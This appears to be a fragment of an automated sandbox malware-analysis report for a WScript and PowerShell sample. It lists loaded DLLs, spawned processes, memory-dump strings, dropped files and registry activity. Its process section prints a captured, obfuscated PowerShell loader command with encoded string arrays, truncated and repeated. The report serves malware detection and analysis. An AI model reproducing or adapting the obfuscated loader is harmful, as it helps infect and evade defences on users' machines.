executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00000200-00000C2A-2343016381] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00000200-00000C2A-2343069258] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00000200-00000C2A-2343121777] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00000200-00000C2A-2343191551] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00000200-00000C2A-2343233083] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00000200-00000C2A-2343331562] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00000200-00000C2A-2343534766] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00000200-00000C2A-2343633057] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00000200-00000C2A-2344029847] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00000200-00000C2A-2344033113] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00000200-00000C2A-2344223033] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00000200-00000C2A-2344352396] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00000200-00000C2A-2344448249] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00000200-00000C2A-2344484590] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00000200-00000C2A-2344684190] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00000200-00000C2A-2344814259] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00000200-00000C2A-2345239985]40:Td8c,Spawned process "Ping.exe" with commandline "Ping Mul8668.8668.8668.babe" (UID: 00000000-00005752) Spawned process "powershell.exe" with commandline ""rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767- ..." (UID: 00000000-00000200, Additional Context: "function $retsloes(@(03,20,24,23,220,22,22,8,205,23,225,24,2,203,68,28,22,64,6,49,45,65,224,208,229,49,37,209,64,24,97,229,20,209,25,08)) $demaskeringer$collarman[$fusula%7]For($amarin0if 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg' 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[0] 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg' 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0' 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw' 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWcg' if 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg' } 'EAQEFhNUGo' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[$slgeligste]}$parthenogenitive4236 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg' 'Zw8NHA8ECHk7FRIDAQUxDAQBXFQfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag' 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo' 'Zw8NHA8ECHkFCAAKFws0GxXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' $misgrows;") Spawned process "powershell.exe" with commandline ""rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767- ..." (UID: 00000000-00000160, Additional Context: "function $retsloes(@(03,20,24,23,220,22,22,8,205,23,225,24,2,203,68,28,22,64,6,49,45,65,224,208,229,49,37,209,64,24,97,229,20,209,25,08)) $demaskeringer$collarman[$fusula%7]For($amarin0if 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg' 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[0] 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg' 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0' 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw' 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWcg' if 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg' } 'EAQEFhNUGo' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[$slgeligste]}$parthenogenitive4236 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg' 'Zw8NHA8ECHk7FRIDAQUxDAQBXFQfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag' 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo' 'Zw8NHA8ECHkFCAAKFws0GxXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' $misgrows;")41:Td8c,Spawned process "Ping.exe" with commandline "Ping Mul8668.8668.8668.babe" (UID: 00000000-00005752) Spawned process "powershell.exe" with commandline ""rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767- ..." (UID: 00000000-00000200, Additional Context: "function $retsloes(@(03,20,24,23,220,22,22,8,205,23,225,24,2,203,68,28,22,64,6,49,45,65,224,208,229,49,37,209,64,24,97,229,20,209,25,08)) $demaskeringer$collarman[$fusula%7]For($amarin0if 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg' 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[0] 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg' 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0' 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw' 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWcg' if 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg' } 'EAQEFhNUGo' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[$slgeligste]}$parthenogenitive4236 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg' 'Zw8NHA8ECHk7FRIDAQUxDAQBXFQfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag' 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo' 'Zw8NHA8ECHkFCAAKFws0GxXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' $misgrows;") Spawned process "powershell.exe" with commandline ""rv 'isomerically' 'haarbrstens' 'aftercooler65';$fusula=56767- ..." (UID: 00000000-00000160, Additional Context: "function $retsloes(@(03,20,24,23,220,22,22,8,205,23,225,24,2,203,68,28,22,64,6,49,45,65,224,208,229,49,37,209,64,24,97,229,20,209,25,08)) $demaskeringer$collarman[$fusula%7]For($amarin0if 'Zw8NHA8ECHkODRwbABc3DRJOSQAKNVIAAx0BBTcJSlcHABc3DQ8WHg' 'Zw8NHA8ECHkHBBtQQRQrCRIQAgkLLhEIFwwASjAYDRoZTUAmBgUcHQkBNhoAWg' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[0] 'Zw8NHA8ECHkJExwABBAqGwQBBAsDJhoSTiMAE24nAxkIBhBjRSIcAEVAKAkVEgEcHioGBg' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHk8BB8BEBYmBlxXGRcRJg' 'ZwkTHAAEECobBAEECwMmGhJdAhUBLUBFBQQWECYbTVNJFQwiGwIcAQoJOgEFEghJRGcOAB8eAE0' 'ZwkTHAAEECobBAEECwMmGhJdHgAQEQ0QBggWEAsNABcIF0xnCQwSHwwKIA0DHBgLAG9IRQAdDBYiBA0WCUw' 'Zw8NHA8ECHkPDhcGAAonDQ0ACBYJOgYFGgoNAScNEwBQQQUxBwwSGQwXJhoIHQoAFjBGEgcMEREwSEwWHEVWcg' if 'MAtBVwsJCzUNEgcIFkRnCw4WCRAHIhwIHAMECGNFJB0OCgAqBgZTLxwQJg' } 'EAQEFhNUGo' 'Zw8NHA8ECHkaAANQTTAmGxVePQQQK0hFFQEKEiYbFRYeTA' 'Zw8NHA8ECHkbDRQICQ0kGxUWUEEDLwcDEgFfFDEHFRoJTk9mTA4WBUsHLB0PBw' 'KxwVAx5fS2wMExobAEokBw4UAQBKIAcMXBgGWyYQERwfEVknBxYdAQoFJ04IFBUE3UtED0HLFUIHBdEPlcRMzTRwgHCwkABgIcXAsRVI'$oeh[$slgeligste]}$parthenogenitive4236 'Zw8NHA8ECHkaDgUFEAMwHAQBAwBZJAtBVwsJCzUNEgcIFg' 'Zw8NHA8ECHk7FRIDAQUxDAQBXFQfjMiHAMTATEcPElXIxYsBSMSHgBSdzsVAQQLA2tMExwbDREkGxUWHwsBag' 'Zw8NHA8ECHkdDxcEEwsxCwQXAwAXMFU6JwgdEG0tDxACAQ0tDzxJVyQ3ACEoXSoAEBAcExoDAkxnOxUSAwEFMQwEAVxdUGo' 'Zw8NHA8ECHkFCAAKFws0GxXGAsAKh4OAQ4AAC0NEgBDFhEhGxUBBAsDa0wREh8RDCYGDhQICw03ARcWQUEJKhsNHAkCASdB' $misgrows;")42:T712,Found string "Add-Content" (Indicator: "Add-Content"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Import-Alias" (Indicator: "Import-Alias"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Import-Csv" (Indicator: "Import-Csv"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-Alias" (Indicator: "New-Alias"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-PSDrive" (Indicator: "New-PSDrive"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-Variable" (Indicator: "New-Variable"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-Module" (Indicator: "New-Module"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Add-PSSnapIn" (Indicator: "Add-PSSnapIn"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Add-History" (Indicator: "Add-History"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-ModuleManifest" (Indicator: "New-ModuleManifest"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-PSRoleCapabilityFile" (Indicator: "New-PSRoleCapabilityFile"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "New-PSTransportOption" (Indicator: "New-PSTransportOption"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Register-ArgumentCompleter" (Indicator: "Register-ArgumentCompleter"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp") Found string "Add-PSSnapin" (Indicator: "Add-PSSnapIn"; Source: "00000000-00000160.00000000.219629.04D00000.00000004.mdmp")43:T415,"Sekretariatsmedarbejder.Rep" has type "ASCII text with very long lines (65536) with no line terminators"- Location: [%APPDATA%\Sekretariatsmedarbejder.Rep]- [targetUID: 00000000-00000160] "77EC63BDA74BD0D0E0426DC8F8008506" has type "Microsoft Cabinet archive data Windows 2000/XP setup 80043 bytes 1 file at 0x2c last modified Jun 18 2026 00:32:04 +A "authroot.stl" number 1 7 datablocks 0x1 compression"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00006196] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00000160] "77EC63BDA74BD0D0E0426DC8F8008506" has type "data"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506]- [targetUID: 00000000-00006196] "StartupProfileData-NonInteractive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00000160]44:Tc96,"WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_Classes" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CertDllCreateCertificateChainEngine\Config" (Filter: 268435461; Subtree: 1) "WScript.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 0)45:T65c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")46:Tedb,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "")47:T504,"powershell.exe" trying to access file "C:\Windows\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "C:\Windows\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "C:\Users\%OSUSER%\Documents\WINDOWSPOWERSHELL\PROFILE.PS1" "powershell.exe" trying to access file "C:\Users\%OSUSER%\Documents\WINDOWSPOWERSHELL\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\System32\WindowsPowerShell\v1.0\PROFILE.PS1" "powershell.exe" trying to access file "%WINDIR%\System32\WindowsPowerShell\v1.0\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file "%USERPROFILE%\Documents\WINDOWSPOWERSHELL\PROFILE.PS1" "powershell.exe" trying to access file "%USERPROFILE%\Documents\WINDOWSPOWERSHELL\MICROSOFT.POWERSHELL_PROFILE.PS1" "powershell.exe" trying to access file 